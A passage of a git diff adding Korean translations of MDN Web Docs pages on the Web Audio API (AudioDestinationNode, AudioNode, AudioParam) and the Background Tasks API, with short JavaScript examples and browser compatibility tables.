+ <td><code>"explicit"</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count</th>
+ <td><code>2</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel interpretation</th>
+ <td><code>"speakers"</code></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode.maxChannelCount")}}</dt>
+ <dd><code>unsigned long 형의 물리적인 디바이스로 다룰수 있는 최대 채널의 갯수.</code></dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><code>AudioDestinationNode를 사용하면 복잡한 세팅없이 몇줄의 코드로 오디오 그래프를 확인할 수 있습니다.</code></p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);</pre>
+
+<p>To see a more complete implementation, check out one of our MDN Web Audio examples, such as <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> or <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiodestinationnode-interface', 'AudioDestinationNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>14 {{property_prefix("webkit")}}</td>
+ <td>23</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>28 {{property_prefix("webkit")}}</td>
+ <td>25</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audionode/index.html b/files/ko/web/api/audionode/index.html
new file mode 100644
index 0000000000..7a30efdac2
--- /dev/null
+++ b/files/ko/web/api/audionode/index.html
@@ -0,0 +1,185 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<p>{{APIRef()}}</p>
+<p><code>AudioNode</code>는 포괄적으로 오디오를 처리하는 데이터 소스인 {{HTMLElement("audio")}} 테그나 {{HTMLElement("video")}} 테그, {{domxref("OscillatorNode")}} 와 audio destinatio, intermediate 처리 모듈인 {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}} 또는 볼륨을 조절하는 {{domxref("GainNode")}} 등을 나타냅니다.</p>
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="width: 677px; height: 230px; display: block; margin: 0px auto;"></p>
+<p><code>AudioNode는 입력과 출력을 가지고 각각의 주어진 채널을 가지고 있습니다. 입력이 0인 <code>AudioNode와 하나 혹은 다수의 출력을 가지면 이를 소스노드라고 불린다.</code></code><code> <code>하나의 AudioNode에서 다른 쪽으로 다양한 처리가 이뤄진다. 일반적으로는 노드는 입력을 읽어 음원관련 처리작업을 하고, 새로운 출력값을 만든다. 아니면 단순히 음원이 지나가는 노드역활만을 하기도 한다.</code></code></p>
+<p> (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separatly).</p>
+<p>다른 노드들은<em> processing graph</em> 를 만들기 위해 서로를 연결한다. graph는  {{domxref("AudioContext")}}를 가지고 있다. 각각의 노드는 하나이 컨택스트에 관여를 한다. 일반적으로는 처리노드는 <code>AudioNode</code>의 메서드와 프로퍼티를 상속받아 처리하지만 사용자의 의도에 따라 기능을 추가 할수도 있다. 자세한 <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> 페이지 이다.</p>
+<div class="note">
+ <p><strong>Note</strong>: An <code>AudioNode</code> can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
+</div>
+<h2 id="Properties" style="">Properties</h2>
+<dl>
+ <dt>
+ {{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>
+ {{domxref("AudioContext")}}와 연관된 정보를 리턴한다. 노드가 관여하고 있는 processing graph 객체를 나타낸다.</dd>
+</dl>
+<dl>
+ <dt>
+ {{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>
+ 노드에 입력되는 인풋의 수를 리턴받는다. 소스노드는 <code>numberOfInputs 프로퍼티를 가지는데 기본적으로 0 값을 가진다.</code></dd>
+</dl>
+<dl>
+ <dt>
+ {{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>
+ 노드를 통해 나오는 출력의 갯수를 리턴한다. {{ domxref("AudioDestinationNode") }} 같은 노드의 경우에는 이 값은 0을 가지고 있다.</dd>
+</dl>
+<dl>
+ <dt>
+ {{domxref("AudioNode.channelCount")}}</dt>
+ <dd>
+ 인풋에 <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a>을 하는 경우 몇개의 채널이 사용되는지 갯수를 정수값으로 리턴한다. {{domxref("AudioNode.channelCountMode")}}의 값에의해 정확한 갯수를 알수 있다.</dd>
+</dl>
+<dl>
+ <dt>
+ {{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>
+ 노드에 입력되는 입력값과 출력값의 연관 정보를 리턴받는다.</dd>
+ <dt>
+ {{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>
+ 음원을 어떻게 <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> 하는지에 대한 정보를 리턴받는다. 이 값은 <code>"speakers"</code> 나 <code>"discrete" 가 될 수 있다.</code></dd>
+</dl>
+<h2 id="Methods">Methods</h2>
+<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
+<dl>
+ <dt>
+ {{domxref("AudioNode.connect(AudioNode)")}}</dt>
+ <dd>
+ 다른 노드에서의 입력과 현대 노드의 출력값을 서로 연결시킬수 있다.</dd>
+ <dt>
+ {{domxref("AudioNode.connect(AudioParam)")}}</dt>
+ <dd>
+ 현재 노드의 출력과 audio parameter의 출력 하나와 연결 시킬수 있다.</dd>
+ <dt>
+ {{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>
+ 현재의 노드와 연결된 다른 노드와의 연결을 끊을수 있다.</dd>
+</dl>
+<h2 id="Example">Example</h2>
+<p>이예제는 간단하게 <code>AudioNode의 프로퍼티와 메서드를 어떻게 사용하는지를 보여 준다.</code> <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>에 가면 더 많은 예제를 확인 할 수 있다.</p>
+<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoDesktop(25.0)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15.0{{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>channelCount</code> <code>channelCountMode</code></td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>connect</code><code>(AudioParam)</code></td>
+ <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>25.0</td>
+ <td>1.2</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>channelCount</code><br>
+ <code>channelCountMode</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>connect</code><code>(AudioParam)</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audioparam/index.html b/files/ko/web/api/audioparam/index.html
new file mode 100644
index 0000000000..009a3b7552
--- /dev/null
+++ b/files/ko/web/api/audioparam/index.html
@@ -0,0 +1,114 @@
+---
+title: AudioParam
+slug: Web/API/AudioParam
+tags:
+ - API
+ - Audio
+ - AudioParam
+ - Interface
+ - Reference
+ - Web Audio API
+translation_of: Web/API/AudioParam
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary">The Web Audio API's <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}).</span> An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p>
+
+<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p>
+
+<ul>
+ <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li>
+ <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames.</li>
+</ul>
+
+<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p>
+
+<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><code>AudioParam</code><em> Inherits properties from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt>
+ <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt>
+ <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd>
+ <dt>{{domxref("AudioParam.value")}}</dt>
+ <dd>Represents the parameter's current volume as a floating point value; initially set to the value of <code>AudioParam.defaultValue</code>. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the <code>AudioParam</code> — are ignored, without raising any exception.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>AudioParam<em> Inherits methods from its parent, </em><code>AudioNode</code>.</p>
+
+<dl>
+ <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt>
+ <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the <code>value</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt>
+ <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd>
+ <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt>
+ <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd>
+ <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt>
+ <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.</dd>
+ <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd>
+ <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt>
+ <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p>
+
+<pre class="brush: js;highlight[5]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;</pre>
+
+<p>Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p>
+
+<pre class="brush: js;highlight[6,7,8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioParam")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/background_tasks_api/index.html b/files/ko/web/api/background_tasks_api/index.html
new file mode 100644
index 0000000000..ac982d3e55
--- /dev/null
+++ b/files/ko/web/api/background_tasks_api/index.html
@@ -0,0 +1,511 @@
+---
+title: Cooperative Scheduling of Background Tasks API
+slug: Web/API/Background_Tasks_API
+translation_of: Web/API/Background_Tasks_API
+---
+<div>{{DefaultAPISidebar("Background Tasks")}}{{draft}}</div>
+
+<p><strong>Cooperative Scheduling of Background Tasks API</strong> (Background Tasks API 또는 간단하게 <code>requestIdleCallback()</code> API 라고도 부릅니다.) 는 user agnet가 자유 시간이 있다고 판단되면, 자동으로 실행될 작업을 대기열(queue tasks)에 넣을 수 있는 기능을 제공합니다.</p>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>웹 브라우저의 메인 스레드는 이벤트 루프를 중심으로 배치됩니다. 이 코드는 현재 표시중인 {{domxref("Document")}}에 대한 모든 대기중인 업데이트를 가져오고, 페이지에서 실행해야하는 모든 자바스크립트 코드를 실행하고, 입력 장치에서 이벤트를 받아들이고, 이를 받을 요소(엘리먼트)에 해당 이벤트를 전달(dispatch) 합니다. 또한 이벤트 루프는 운영 체제와의 상호작용, 브라우저 자체 유저 인터페이스에 대한 업데이트 등을 처리합니다. 이것은 매우 복잡한 코드 덩어리이며, 메인 자바스크립트 코드는 이 모든 스레드와 코드가 함께 바로 실행될 수 있습니다. 유저 인터페이스 변경이 메인 스레드에서만 가능하기 때문에, 대부분의 코드가 DOM을 변경할 수 있는 것은 아니지만 메인 스레드에서 실행되고 있습니다.</p>
+
+<p>이벤트 처리 및 화면 업데이트는 유저가 성능 문제를 인식하는 가장 분명한 두 가지 부분입니다. 따라서 우리의 코드가 웹의 훌륭한 시민이되고, 이벤트 루프의 실행이 지연되는 것을 방지하는것이 중요합니다. 과거에는 최대한 효율적으로 코드를 작성하고, 가능한 많은 작업을 <a href="/ko/docs/Web/API/Web_Workers_API">웹 워커(workers)</a> 에게 맡기는 것 외에는 안정적으로 수행할 수 있는 방법이 없었습니다. {{domxref("Window.requestIdleCallback()")}}을 사용하면 브라우저의 이벤트 루프가 원활하게 실행되도록 보장하는데 적극적으로 참여할 수 있습니다. 또한 브라우저가 시스템에서 지연없이 안전하게 사용할 수 있는 시간을 코드에 알릴 수 있습니다. 그리고 주어진 한도 내에 있으면 사용자의 경험을 훨씬 향상 시킬 수 있습니다.</p>
+
+<h3 id="Getting_the_most_out_of_idle_callbacks">Getting the most out of idle callbacks</h3>
+
+<p>아이들 콜백(idle callbacks)은 코드를 이벤트 루프와 협력하여 시스템이 과도하게 작업하지 않고, 최대한의 잠재력을 발휘할 수 있도록 하기 위한 것입니다. 지연 또는 기타 성능 문제가 발생하는 경우, 이를 사용하는 방법에 대해 생각해볼 수 있습니다.</p>
+
+<ul>
+ <li><strong>우선순위(priority)가 높지 않은 태스크에 아이들 콜백을 사용합니다.</strong> 얼마나 많은 콜백이 설정되었는지 알지 못하고, 사용자의 시스템이 얼마나 바쁜지 알지 못합니다. 때문에, 콜백이 얼마나 자주 실행되는지 알 수 없습니다(<code>timeout</code>을 지정하지 않으면). 이벤트 루프(또는 모든 화면 업데이트 주기)를 통과할 때 마다 아이들 콜백이 실행된다는 보장이 없습니다. 이벤트 루프가 사용 가능한 모든 시간을 사용하면, 당신은 운이 없습니다(다시한번, 말하지만 <code>timeout</code>을 사용하지 않으면).</li>
+ <li><strong>아이들 콜백은 할당 된 시간을 초과하지 않도록 최선을 다해야 합니다.</strong> 브라우저, 우리의 코드, 웹은 일반적으로 지정된 시간 제한을 초과해도 정상적으로 계속 실행되지만(심지어 시간이 지났더라도), 시간 제한(time restriction)은 시스템을 종료할 시간을 충분히 확보하도록 하기 위한 것입니다. 이벤트 루프를 통해 현재 패스를 끝내고, 다른 코드가 버벅이거나 애니메이션 효과가 지연되지 않도록 다음 이벤트로 넘어갑니다. 현재 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 에는 50 밀리초의 상한선이 있습니다. 그러나 실제로는 이벤트 루프가 복잡한 사이트에서는 프로세서 시간을 필요로 하는 브라우저 확장 등으로 이미 그 시간을 점유하고 있기 때문에, 실제로 상한선은 더 적습니다.</li>
+ <li><strong>아이들 콜백 내에서 DOM 변경은 피해야 합니다.</strong> 콜백을 실행할 때 까지, 현재 프레임은 이미 드로잉을 마쳤으며 모든 레이아웃 업데이트와 계산이 완료됩니다. 레이아웃에 영향을 주는 변경사항을 적용하면, 브라우저가 중지되어야하고 그러면 다시 계산해야 하는 상황이 발생할 수 있습니다. 만약 콜백이 DOM을 변경해야 한다면, {{domxref("Window.requestAnimationFrame()")}}을 사용하여 DOM을 예약해야 합니다.</li>
+ <li><strong>실행시간을 예측할 수 없는 태스크는 피해야 합니다.</strong> 아이들 콜백은 예측할 수 없는 시간이 걸릴 수 있는 일은 하지 말아야 합니다. 예를들어, 레이아웃에 영향을 줄 수 있는 사항은 피해야 합니다. 또한 {{domxref("Promise")}}를 해결(resolve)하거나, 거절(reject)하는것은 피해야 합니다. 콜백이 반환되는 순간, 해당 promise의 해결 혹은 거절에 대한 처리기를 호출하기 때문입니다.</li>
+ <li><strong>timeout은 필요할 때, 정말 필요할 때만 써야 합니다.</strong> timeout을 사용하면 코드가 적시에 실행되도록 할 수 있습니다. 하지만 성능에 영향을 주지 않으면서 실행할 만한 충분한 시간이 있지 않다면, 브라우저가 사용자를 호출해 지연이나 애니메이션 버벅임을 유발할 수 있습니다.</li>
+</ul>
+
+<h3 id="Falling_back_to_setTimeout">Falling back to setTimeout</h3>
+
+<p>Background Tasks API는 매우 새롭기 때문에, 우리의 코드가 아직 이 API를 지원하지 않는 브라우저에서 작동해야 하는 경우가 있을 수 있습니다. 우리는 {{domxref("WindowTimers.setTimeout()", "setTimeout()")}}을 fallback 옵션으로 사용하는 간단한 shim으로 그렇게 할 수 있습니다. 이것은 기능적으로 동일하지 않기 때문에 {{Glossary("polyfill")}}이 아닙니다. <code>setTimeout()</code>을 사용하면 유휴 기간(idle periods)을 사용할 수 없습니다. 하지만 대신에 가능한 경우 코드를 실행하여, 사용자가 성능 지연을 경험하지 못하도록 최대한 방지합니다.</p>
+
+<pre class="brush: js">window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+ let startTime = Date.now();
+
+  return setTimeout(function() {
+ handler({
+ didTimeout: false,
+      timeRemaining: function() {
+ return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+}</pre>
+
+<p>{{domxref("Window.requestIdleCallback", "window.requestIdleCallback")}}이 선언되지 않았다면, 위와같이 만들어 줍니다. 함수는 우리의 코드가 호출 된 시간을 기록하는 것으로 시작합니다. 우리는 이것을 사용하여 {{domxref("IdleDeadline.timeRemaining()", "timeRemaining()")}}에 대해 shim에서 반환 한 값을 계산합니다.</p>
+
+<p>그리고 나서 {{domxref("WindowTimers.setTimeout", "setTimeout()")}}을 호출하여, 우리의 <code>requestIdleCallback()</code> 구현에 전달 된 콜백을 실행하는 함수를 전달합니다. 이 콜백은 {{domxref("IdleDeadline")}}을 준수하는 객체로 전달됩니다. 이 객체는 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 false로 설정하고, {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드가  전달되어 콜백에 50 밀리초의 시간을 제공합니다. <code>timeRemaining()</code>이 호출될 때 마다 본래의 50밀리초에서 경과시간을 뺀 남은 시간을 결정합니다.</p>
+
+<p>결과적으로, 우리의 shim이 현재 <code>requestIdleCallback()</code>처럼 지금 이벤트 루프에 남아있는 유휴 시간(idle time)의 양을 제한하지는 않습니다. 하지만 콜백을 적어도 패스당 50밀리초 이하의 실행시간으로 제한합니다.</p>
+
+<p>{{domxref("Window.cancelIdleCallback", "cancelIdleCallback()")}}에 대한 shim 구현은 훨씬 간단합니다:</p>
+
+<pre class="brush: js">window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+ clearTimeout(id);
+}</pre>
+
+<p><code>cancelIdleCallback()</code>이 선언되지 않은 경우, 이는 단순히 지정된 콜백 ID를 {{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}에 전달하는 메서드를 생성합니다.</p>
+
+<p>이제 우리의 코드는 효율적이지는 않지만, Background Tasks API를 지원하지 않는 브라우저에서도 작동합니다.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Background Tasks API 는 단 하나의 새 인터페이스를 추가합니다:</p>
+
+<dl>
+ <dt>{{domxref("IdleDeadline")}}</dt>
+ <dd>이 유형의 객체는 유휴 콜백(idle callback)에 전달되어 유휴 기간(idle period)이 지속되는 예상시간과, timeout 기간이 만료되어 콜백이 실행중인지 여부를 제공합니다.</dd>
+</dl>
+
+<p>{{domxref("Window")}} 인터페이스 또한 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}, {{domxref("window.cancelIdleCallback", "cancelIdleCallback()")}} 이라는 새로운 두 메서드를 제공하는 API에 의해 확장되었습니다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>이 예제에서는 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}을 사용하여 브라우저가 유휴 상태인 시간 동안, 시간이 많이 걸리면서 우선 순위가 낮은 작업을 실행하는 방법을 살펴 보겠습니다. 또한 이 예제는 {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 문서 내용에 대한 업데이트를 예약하는 방법을 보여줍니다.</p>
+
+<p>아래 예제에서는 HTML과 자바스크립트만 볼 수 있습니다. CSS는 이 기능을 이해하는데 특별히 중요하지 않아서, 표시하지 않습니다.</p>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<p>우리가 성취하려는 것을 지향하기 위해 HTML을 살펴보겠습니다. 이것은 텍스트 출력을 표시하는데 사용되는 두 번째 메인 박스(ID "logBox")뿐만 아니라, 작업 진행 상황을 나타내는데 사용되는 박스(ID "Container")를 만듭니다. 이는 quantum filament tachyon emissions의 해독이 얼마나 걸릴지 알 수 없기 때문입니다.</p>
+
+<pre class="brush: html">&lt;p&gt;
+ Demonstration of using &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API"&gt;
+ cooperatively scheduled background tasks&lt;/a&gt; using the &lt;code&gt;requestIdleCallback()&lt;/code&gt;
+ method.
+&lt;/p&gt;
+
+&lt;div class="container"&gt;
+ &lt;div class="label"&gt;Decoding quantum filament tachyon emissions...&lt;/div&gt;
+ &lt;progress id="progress" value="0"&gt;&lt;/progress&gt;
+ &lt;div class="button" id="startButton"&gt;
+ Start
+ &lt;/div&gt;
+ &lt;div class="label counter"&gt;
+ Task &lt;span id="currentTaskNumber"&gt;0&lt;/span&gt; of &lt;span id="totalTaskCount"&gt;0&lt;/span&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="logBox"&gt;
+ &lt;div class="logHeader"&gt;
+ Log
+ &lt;/div&gt;
+ &lt;div id="log"&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>progress box는 진행률을 나타내는 {{HTMLElement("progress")}} 요소(엘리먼트)를 사용합니다. 또한 진행률에 대한 정보를 숫자로 표시하며, 얼마나 변경이 되었는지 확인할 수 있는 label을 사용합니다. 또한 사용자가 데이터 처리를 시작하는데 사용하는 "Start" 버튼(ID "startButton")이 있습니다.</p>
+
+<div class="hidden">
+<h3 id="CSS_content">CSS content</h3>
+
+<pre class="brush: css">body {
+ font-family: "Open Sans", "Lucida Grande", "Arial", sans-serif;
+ font-size: 16px;
+}
+
+.logBox {
+ margin-top: 16px;
+ width: 400px;
+ height:500px;
+ border-radius: 6px;
+ border: 1px solid black;
+ box-shadow: 4px 4px 2px black;
+}
+
+.logHeader {
+ margin: 0;
+ padding: 0 6px 4px;
